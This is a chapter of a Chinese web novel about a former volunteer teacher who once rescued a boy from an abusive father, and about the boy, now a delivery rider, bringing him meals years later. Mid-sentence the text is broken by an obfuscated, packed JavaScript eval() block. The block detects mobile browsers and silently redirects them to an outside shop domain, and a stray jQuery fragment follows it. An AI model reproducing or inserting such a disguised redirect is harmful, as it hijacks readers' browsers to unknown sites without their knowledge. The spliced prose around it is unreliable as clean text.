程述那么说,也那么做了。
当地的老师、村民,还有和程述一起来的同学都觉得他在胡说。这哪里是他能管的事呢?就算他真的要管,他一个大学生能有这个本事有这个钱吗?
但程述办成了,他一趟一趟的往何小虎家跑,带着律师跟着警察。
何志伟被拘留之后,何小虎和妈妈的日子不好过,村里有些人会指指点点,说他们母子丧心病狂送亲爹去坐牢。
总之没有什么好听的话。当初他们也知道何志伟打老婆打儿子,也说何志伟不是人。但这时候又说不至于,何必呢。
这些年,妈妈的肋骨反反复复断了四五次。
何小虎的学费杂费几乎没有一次是按时给的,当妈妈开始沉默,何小虎也渐渐沉默了。
程述的支教已经结束,其他同学都走了。
他几乎每天都去医院看何小虎和他妈妈,给他们买丰盛一点的盒饭,教何小虎如何照顾妈妈,也教他如何照顾自己。
他晒黑了好多,但比起何小虎还是白多了。
这么帅这么温柔的人,这个世界上,何小虎只见过他一个。
官司要打好几个月,但基本没有什么阻碍了。他们证据充足,何志伟没有狡辩的余地,而且他在看守所,不能打何小虎和妈妈。
程述要开学了,买了一大堆东西来村子里看何小虎。
何小虎站在村口,看到一辆车子开进来,程述放下买来的吃食,跟何小虎去山上散步。
走远了天才下雨,何小虎带他躲到石洞里。
石洞浅浅的,里面铺了厚厚的稻草,是做农活的村民铺在这里休息用的。
下着雨,阳光却也没散,雨水折射阳光,晃在何小虎和程述身上。
“过云雨,小虎,你听过这首歌吗?”程述问。
何小虎摇摇头。
“是这个么唱的。”程述的长腿曲着也超出何小虎一大截,他鞋尖湿了也不管,看起来心情很好。
他有些不好意思,干咳一声看着远处轻声唱,“天空天空刚下了几场雨,看街上路人不多,现在的你在做什么,还有没有在想我……”
何小虎从没有听过,十三岁也依然像颗豆芽菜,还是黑色的。
他痴痴地看着程述,眼睛一眨不眨,把程述看得有些害羞。
“好听吗?”
“嗯嗯!”
何小虎笑着,抱着膝盖,转头去看外面的雨。
“下完雨,会有彩虹。”程述转头看他。
“彩虹?”
“嗯,思塘的夏天很多雨,很多彩虹。我特别喜欢彩虹,这两个月看到好多。之前周老师跟我说她看到过双彩虹,特——别大。”
何小虎眨眨眼,“一会儿就会有。”
程述:“是么?”
“嗯嗯,我给外婆许愿,让她给你看双彩虹。”
说完何小虎翻转双腿,跪下来双手合十,闭上眼睛就开始用本地土话叽里呱啦地说起来。
何小虎跟外婆许完愿,坐好。
程述笑着,“你外婆怎么说?”
何小虎直愣愣看着他,一脸认真,“哥哥,外婆在天上呢,她怎么跟我说话?”
程述:“……”
总之,何小虎向外婆许的愿望实现了。
过云雨下了半个多小时,雨停不到五分钟,群山之间架起两个超级大的彩虹。
程述被这一幕震撼,绵延的、看不到边际的大山实在太漂亮,云层底得好像伸手就能摸到。
这样大这样美的彩虹,是程述此生第一次见。
“小虎。”
“嗯?”
“谢谢你。”
“嘿嘿,是外婆给的。”
程述笑了笑,抬头看着天空,“谢谢外婆。”
彩虹消失之后,两人踩着湿滑的泥路往山下走,两边都是比人还高的玉米。刚刚还觉得是绵延壮阔的群山,此刻又觉得是走不到头的大山了。
程述只是到这里支教,只是这样走一两次,还是为了看彩虹这样的消遣。而何小虎却生活在这里,他平时上来也许是来撒肥料,是来把玉米背下山。
“小虎,你答应哥哥一件事。”
“嗯,你说。”
“要好好念书,考大学,去看看外面的世界。”
何小虎低下头,“我……”
他不能确定。
村里能上大学的,没有几个,何况是他家这个情况。
何小虎现在的成绩也是马马虎虎。
“我知道你在想什么,你不用担心,我和周老师说好了,只要你还在读书我每个月都会打一笔钱资助你。这笔钱会让周老师直接给你当生活费和帮你交学费。”
程述信不过何小虎家里人,父亲酗酒、暴力,打牌赌博,母亲虽然善良但是软弱。
何小虎已经接受了程述太多的帮助,他拒绝过,也感谢过。
此刻,何小虎挺直肩背,“哥哥,谢谢你。以后我长大了有出息了,一定会报答你的。”
“真的?”程述笑着,抬手在何小虎后脑勺呼噜一下,顺势下滑,搭着他的肩膀慢慢走回家去。
这一别,就是六年。
何小虎不知道要怎么跟天哥说他和程述的事,但他麻木的脑袋一时之间真的不知道该怎么办。
“想什么呢?跟哥说说。”天哥轻声问,观察他的神色,猜想他可能要说离职的事。
“我……不知道该怎么说。”
天哥:“要走啦?”
“不不不。”何小虎忙摆手,“我不走了。”
“真的?”
“嗯,我想再多赚点钱。”
天哥哈哈笑,“那太好了,站长还私底下找我,让我劝劝你。那你愁什么呢?”
“我碰到一个以前的……朋友,他最近好像不太好。天哥,你觉得我能做点什么让他开心一点呢?”
何小虎双手放在膝盖上,蜷缩着身体,看着天哥等他的回答。
“请他喝酒呀。”
何小虎想起那个点外卖的委托人,她说程述很久不出门了,情绪不好。
“他不愿意出门怎么办?”
“去他家喝。”
今天跑外卖骑车出来的,不能喝酒,天哥还挺羡慕别桌呢。
他说:“你买上点好菜,扛一箱啤酒直接上他家去,宽慰宽慰他。咱们跑外卖的别的不知道,哪家好吃总知道吧。”
何小虎微微坐直,“对哦。”
回到家里已经是凌晨两点,何小虎冲了个澡,头发都没来得及擦一下就趴在床边,一边翻手机一边在小本子上写着什么。
“虎记老鸭汤……0932烘焙店的南瓜欧包…黑枸杞桑葚欧包,嗯……金楼名菜……梅姐汤粉。”
何小虎磕磕巴巴地写了整整两页。
这些都是他在这里跑了两年外卖挑选出来的,味道好又卫生。
何小虎躺在城中村单间的小床上,空调呼呼地吹着,怎么都睡不着。他翻了好几次身,蜷缩在纯聚酯纤维的被子下,一会儿想小狗,一会儿想程述。想着不远不近的六年前,想妈妈临终前的眼。
前些日子,何小虎是真的不想活了。
无论如何都打不起精神,晚上也睡不着,这个城市的夏天连空气都是热的,阳光晒下来何小虎就头晕眼花。
何小虎关了手机,整日整日蜷缩在这个光线微弱的小房间里。
如果不是一周前那个夜晚捡到小狗,何小虎不知道自己现在会怎么样。
虚无的生活忽然被填满,何小虎心脏跳得很激烈。他决定明天一早去买早茶送给程述,再去宠物店看小狗,然后开始猛猛跑单赚钱。
站长的电话来得特别早,隔壁区有音乐节,爆单了,让一批外卖员这两天去那边跑。
何小虎着急忙慌地出门,早饭也没有吃,换了电池就往隔壁区跑。
下午四点左右,何小虎就收到后台的防疲劳提醒了。里面的衬衫已经湿透,何小虎送完手里最后一单,在没人的路边脱下防晒服。
广南市实在是太热了,湿度也高,指望风吹一下凉快是不可能的。
这两天不但有音乐节,还有品牌联名活动,骑手群里很乱。何小虎休息了一会儿,又跑了两个小时。
虽然上限是十二小时,但平时根本没人跑这么久,八九个小时就算多了。
何小虎沿路往北回去。
先去看小狗还是先去看程述呢?
何小虎纠结了一会儿,决定先去看程述,因为有一家很好吃的海鲜粥就在这条路上。
——绝不是因为更想看到程述。
海鲜粥生意很好,何小虎按照上次的地址和信息点了一份。
今天很热,何小虎在蒸笼一样的城市里穿梭,用最快的速度来到程述家的小区。
他站在单元楼前,莫名整理一下衣襟之后才按响程述家的门禁。
铃声响了好几遍,和上次一样没有回应。何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898271|212892||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小虎在门口等了一会儿,有个婆婆买菜回来开了门禁。
何小虎看她拎着一大袋东西,顺手帮她拎到电梯里。
“这么热得天,干这个辛苦哦。”奶奶说。
何小虎抿着嘴唇笑一下,闷闷地嗯一声。奶奶看他这么腼腆,就自顾自地碎碎念说自己老公以前是干工地的,她从袋子里拿出一个橙子给何小虎。
何小虎不要,她就塞进何小虎的口袋里,下了电梯。
橙子上贴着标签,都是英文,拿在手里就知道非常新鲜。
“您好外卖!”
“有人在家吗?外卖到啦。”
“程先生!”
“再不开——”
何小虎的手悬在看半空,看着程述露出了的小半张脸。
他轻轻咽了下口水,小声说:“您的外卖。”
程述伸手接下来,看向何小虎。何小虎正准备说下一次台词呢,发现对视上了,吓得脑袋一埋转身跑掉了。
转角处传来一声弱弱的“祝您用餐愉快”,程述听到电梯门关上的声音,面无表情地看着手里的外卖,片刻后关上了门。
何小虎第二天又来了,送了早茶来,套着外卖的袋子,里面是本地最好的茶楼的早点。
第三天,他一整天都没有来,直到晚上九点多,程述躺在沙发上,漆黑的客厅让他觉得平静。何小虎敲响房门,他现在连门禁都不按了,他是个外卖员,去哪里都有人给他开门。他送来一碗馄饨和一份吊烤鸭翅,程述闻到香气。
他不想吃,之前何小虎送来的东西,他都没胃口,有些能吃几口,有些放着凉了坏了。
第四天,何小虎送来日料,精致的包装和摆盘,价格不便宜。
程述有点动摇了,他想开口不让何小虎再花钱了,于心不忍。但他没有说,他害怕他的目光,他让他想起从前。
第五天第六天。第七天,何小虎送来一瓶威士忌,还有一束花,很漂亮,看卡片那家有名的花店。
程述一整天都盯着那束花,很漂亮,好多种颜色好多种花,很杂却有种凌乱又温柔的美。
很少有人会订颜色这么杂这么花哨的花,但程述知道他是什么意思。
过了很久很久,程述起身走进卫生间里,把胡子刮了。
第八天第九天……第十三天。
何小虎一早就出门,不是去给程述送早餐,他要先去宠物店看小狗。因为前台姐姐给他发消息,说有人要领养小狗了。
刚开门何小虎就到了,他在笼子边陪小狗玩了一会儿,在店里给他买了一个很贵的罐头。看到有项圈也买了一个,项圈的小牌子可以刻字,何小虎没刻,说让新主人给他取名字再刻。
前台姐姐拿来拍立得,说给他和小狗拍一张,何小虎躲着说不用。最后前台姐姐拍了一张小狗的照片给他。
小狗还是很丑,但是活泼多了,窝在何小虎的腿上,舔他的手掌,地包天的嘴巴笑起来丑萌丑萌的。
何小虎陪了它半个小时,这已经很久很久了,前台姐姐说领养人十点钟过来,问他要不要见一见。
何小虎立刻摆手说不要,急匆匆的跑掉了。
他只希望小狗可以过得好,而自己的存在一点都不重要。
昨天在站里开会的时候,同事说亲戚请客吃到好吃的烧鹅,何小虎想着程述是广南市人,肯定喜欢吃这种。
烧鹅好贵,何小虎买得一点都不犹豫,老板说什么好,何小虎就说来一点。
像过去的这几天一样,何小虎自然地在单元楼门口等待有人上楼,乘坐电梯来到十八楼。
“你好,外卖!”
何小虎喊了一声,正打算喊第二声的时候门忽然从里面推开了。
平时何小虎要喊很久他才会开门,有时候不开门,何小虎没办法了就放在门口。
何小虎机械地抬起手要把东西递到门缝里,但这次门缝一点点变大,直到整扇门都打开了。程述的手放在门把上,身体微微前倾。
房子里冰冷潮湿的气味缓缓弥漫出来,何小虎抬头看向程述。
他发现程述把胡子刮掉了,穿上了一件很休闲的衬衫。这是何小虎第一次看到他整张脸,虽然他的表情和眼神依旧冷淡。
冷淡的眼神上下扫视何小虎。
“外卖……”何小虎立刻就要低头,他有点害怕程述,程述那样看着自己。
“何小虎。”
“……”
“你怎么在送外卖。”